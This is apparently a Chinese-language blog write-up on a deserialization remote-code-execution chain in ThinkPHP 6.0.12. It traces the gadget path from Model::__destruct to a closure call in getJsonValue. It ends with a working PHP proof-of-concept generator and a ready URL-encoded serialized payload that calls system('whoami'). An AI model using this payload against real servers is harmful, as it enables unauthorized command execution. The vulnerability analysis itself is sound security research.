ThinkPHP 6.0.12 反序列化漏洞

寻找入口点

挖掘php反序列化漏洞,wakeup()和destruct()这两种魔术方法在反序列化中是十分重要的存在,在面对这么大量的代码时,我们可以以这两种函数为切入点,来找出反序列化漏洞。

所以我们先利用seay代码审计工具在源码中搜索__destruct()函数

image-20240803224507243

然后逐个去看哪个地方可能存在漏洞

/vendor/league/flysystem/src/SafeStorage.php

<?php
namespace League\Flysystem;
final class SafeStorage
{
	......
    public function __destruct()
    {
        unset(static::$safeStorage[$this->hash]);
    }
}

/vendor/league/flysystem/src/Adapter/AbstractFtpAdapter.php

abstract class AbstractFtpAdapter extends AbstractAdapter
{
	......
    public function __destruct()
    {
        $this->disconnect();
    }
    ......
}

/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php

abstract class AbstractCache implements CacheInterface
{
	......
    public function __destruct()
    {
        if (! $this->autosave) {
            $this->save();
        }
    }
    ......
}

/vendor/topthink/think-orm/src/Model.php

abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable
{
	......
    public function __destruct()
    {
        if ($this->lazySave) {
            $this->save();
        }
    }
}

/vendor/topthink/think-orm/src/db/Connection.php

abstract class Connection implements ConnectionInterface
{
	......
	public function __destruct()
    {
        // 关闭连接
        $this->close();
    }
}

以上就是源码中存在__destruct()方法的代码,哪些是可以利用的的呢?

首先我们要知道的是__destruct()方法是组作为反序列化漏洞的起始方法,他是会自动触发并且接着触发其他的魔术方法的,所以__destruct()方法能不能利用关键是看他有没有调用其他函数。

所以我们再来看上面的代码

第一个,触发__destruct()后就调用unset()删除掉一个元素,显然没有调用其他函数,也不能用来构造链子

第二个,调用了disconnect()方法用于断开连接,跟进disconnect()方法,发现是一个抽象方法,没有定义

第三个,和第二个类似调用了save()方法用来保存,但是想要跟进save()方法发现文件中根本没定义

第四个,这个也调用了save()方法,但是条件和第三个不同,关键是这里是定义了save方法的

第五个,调用的是close(),终止代码执行,也不存在利用点

综合来看,就只有第四个可能存在漏洞,而且要满足this->lazySave为true才能调用

分析链子

__destruct()

abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable
{
	......
    public function __destruct()
    {
        if ($this->lazySave) {
            $this->save();
        }
    }
}

条件:

  • $this->lazySave=True(反序列化直接改)

save()

    public function save(array $data = [], string $sequence = null): bool
    {
        // 数据对象赋值
        $this->setAttrs($data);

        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
            return false;
        }

        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

        if (false === $result) {
            return false;
        }

        // 写入回调
        $this->trigger('AfterWrite');

        // 重新记录原始数据
        $this->origin   = $this->data;
        $this->get      = [];
        $this->lazySave = false;

        return true;
    }

条件:

  • $this->isEmpty()返回True

        public function isEmpty(): bool
        {
            return empty($this->data);
        }
    

    只要给data(数组)传值就会返回True

  • false === $this->trigger('BeforeWrite')返回True

        protected function trigger(string $event): bool
        {
            if (!$this->withEvent) {
                return true;
            }
        ......
    

    这里默认返回True,满足条件

  • $this->exists为True

    private $exists = false;
    

    这里默认为false,改成True即可

updateData()

    protected function updateData(): bool
    {
        // 事件回调
        if (false === $this->trigger('BeforeUpdate')) {
            return false;
        }

        $this->checkData();

        // 获取有更新的数据
        $data = $this->getChangedData();

        if (empty($data)) {
            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }

            return true;
        }

        if ($this->autoWriteTimestamp && $this->updateTime) {
            // 自动写入更新时间
            $data[$this->updateTime]       = $this->autoWriteTimestamp();
            $this->data[$this->updateTime] = $data[$this->updateTime];
        }

        // 检查允许字段
        $allowFields = $this->checkAllowFields();

        foreach ($this->relationWrite as $name => $val) {
            if (!is_array($val)) {
                continue;
            }

            foreach ($val as $key) {
                if (isset($data[$key])) {
                    unset($data[$key]);
                }
            }
        }

        // 模型更新
        $db = $this->db();

        $db->transaction(function () use ($data, $allowFields, $db) {
            $this->key = null;
            $where     = $this->getWhere();

            $result = $db->where($where)
                ->strict(false)
                ->cache(true)
                ->setOption('key', $this->key)
                ->field($allowFields)
                ->update($data);

            $this->checkResult($result);

            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }
        });

        // 更新回调
        $this->trigger('AfterUpdate');

        return true;
    }

条件:

  • $this->trigger('BeforeUpdate')==true

    已经满足

  • $data!=null

    已经满足

checkAllowFields()

    protected function checkAllowFields(): array
    {
        // 检测字段
        if (empty($this->field)) {
            if (!empty($this->schema)) {
                $this->field = array_keys(array_merge($this->schema, $this->jsonType));
            } else {
                $query = $this->db();
                $table = $this->table ? $this->table . $this->suffix : $query->getTable();	//触发__tostring()

                $this->field = $query->getConnection()->getTableFields($table);
            }

            return $this->field;
        }

        $field = $this->field;

        if ($this->autoWriteTimestamp) {
            array_push($field, $this->createTime, $this->updateTime);
        }

        if (!empty($this->disuse)) {
            // 废弃字段
            $field = array_diff($field, $this->disuse);
        }

        return $field;
    }

    /**
     * 保存写入数据
     * @access protected
     * @return bool
     */

条件:

  • this->field=null

    默认满足

  • $this->schema=null

    默认满足

简单说明一下这里怎么触发__toString()的:调用db(),这个函数会

将table进行一个字符串拼接操作,如果将table赋值为对象就可以触发__toString()

        if (!empty($this->table)) {
            $query->table($this->table . $this->suffix);
        }

/vendor/topthink/think-orm/src/model/concern/Conversion.php/__toString

    public function __toString()
    {
        return $this->toJson();
    }

toJson()

    public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
    {
        return json_encode($this->toArray(), $options);
    }

toArray()

    public function toArray(): array
    {
        $item       = [];
        $hasVisible = false;

        foreach ($this->visible as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    [$relation, $name]          = explode('.', $val);
                    $this->visible[$relation][] = $name;
                } else {
                    $this->visible[$val] = true;
                    $hasVisible          = true;
                }
                unset($this->visible[$key]);
            }
        }

        foreach ($this->hidden as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    [$relation, $name]         = explode('.', $val);
                    $this->hidden[$relation][] = $name;
                } else {
                    $this->hidden[$val] = true;
                }
                unset($this->hidden[$key]);
            }
        }

        // 合并关联数据
        $data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
            }

            if (isset($this->mapping[$key])) {
                // 检查字段映射
                $mapName        = $this->mapping[$key];
                $item[$mapName] = $item[$key];
                unset($item[$key]);
            }
        }

        // 追加属性(必须定义获取器)
        foreach ($this->append as $key => $name) {
            $this->appendAttrToArray($item, $key, $name);
        }

        if ($this->convertNameToCamel) {
            foreach ($item as $key => $val) {
                $name = Str::camel($key);
                if ($name !== $key) {
                    $item[$name] = $val;
                    unset($item[$key]);
                }
            }
        }

        return $item;
    }

条件:

  • isset($this->visible[$key])

    $key是由$data foreach循环得到,而$data是我们传了值的,所以是满足条件的

vendor/topthink/think-orm/src/model/concern/Attribute.php/getAttr()

    public function getAttr(string $name)
    {
        try {
            $relation = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $relation = $this->isRelationAttr($name);
            $value    = null;
        }

        return $this->getValue($name, $value, $relation);
    }

    /**
     * 获取经过获取器处理后的数据对象的值
     * @access protected
     * @param  string      $name 字段名称
     * @param  mixed       $value 字段值
     * @param  bool|string $relation 是否为关联属性或者关联名
     * @return mixed
     * @throws InvalidArgumentException
     */

这里传给getValue()的三个参数:$name就是$data的key,$value就是$data的value,$relation默认为false

getValue()

    protected function getValue(string $name, $value, $relation = false)
    {
        // 检测属性获取器
        $fieldName = $this->getRealFieldName($name);

        if (array_key_exists($fieldName, $this->get)) {
            return $this->get[$fieldName];
        }

        $method = 'get' . Str::studly($name) . 'Attr';
        if (isset($this->withAttr[$fieldName])) {
            if ($relation) {
                $value = $this->getRelationValue($relation);
            }

            if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
                $value = $this->getJsonValue($fieldName, $value);
            } else {
                $closure = $this->withAttr[$fieldName];
                if ($closure instanceof \Closure) {
                    $value = $closure($value, $this->data);
                }
            }
        } elseif (method_exists($this, $method)) {
            if ($relation) {
                $value = $this->getRelationValue($relation);
            }

            $value = $this->$method($value, $this->data);
        } elseif (isset($this->type[$fieldName])) {
            // 类型转换
            $value = $this->readTransform($value, $this->type[$fieldName]);
        } elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {
            $value = $this->getTimestampValue($value);
        } elseif ($relation) {
            $value = $this->getRelationValue($relation);
            // 保存关联对象值
            $this->relation[$name] = $value;
        }

        $this->get[$fieldName] = $value;

        return $value;
    }

    /**
     * 获取JSON字段属性值
     * @access protected
     * @param  string $name  属性名
     * @param  mixed  $value JSON数据
     * @return mixed
     */

条件:

  • isset($this->withAttr[$fieldName])=True

    即withAttr存在而且是一个数组,这个变量可控

  • in_array($fieldName, $this->json)=True

    就是要满足$fieldName$this->json中存在

  • is_array($this->withAttr[$fieldName])=True

getJsonValue()

    protected function getJsonValue($name, $value)
    {
        if (is_null($value)) {
            return $value;
        }

        foreach ($this->withAttr[$name] as $key => $closure) {
            if ($this->jsonAssoc) {
                $value[$key] = $closure($value[$key], $value);	// 存在rce漏洞
            } else {
                $value->$key = $closure($value->$key, $value);
            }
        }

        return $value;
    }

条件:

  • $this->jsonAssoctrue

这里只需要将$closure赋值为函数名,$value[$key]赋值为参数即可米命令执行

$closure就是withAttr数组的value,$value[$key]就是$data的key

编写poc

<?php
// 保证命名空间的一致
namespace think {
    // Model需要是抽象类
    abstract class Model {
        // 需要用到的关键字
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;

        // 初始化
        public function __construct($obj='') {
            $this->lazySave = true;
            $this->data = ['whoami'=>['whoami']];
            $this->exists = true;
            $this->table = $obj;    // 触发__toString
            $this->withAttr = ['whoami'=>['system']];
            $this->json = ['whoami'];
            $this->jsonAssoc = true;
        }
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {
        
    }
    
    // 实例化
    $p = new Pivot(new Pivot());
    echo urlencode(serialize($p));
}

注:Model是一个抽象类,然而抽象类是不能被实例化的,只能被继承,所以还需要找到一个继承Model的子类,全局搜索extends Model,找到一个Pivot类继承了Model

O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D
posted @ 2024-09-02 19:32  Litsasuk  阅读(545)  评论(0)    收藏  举报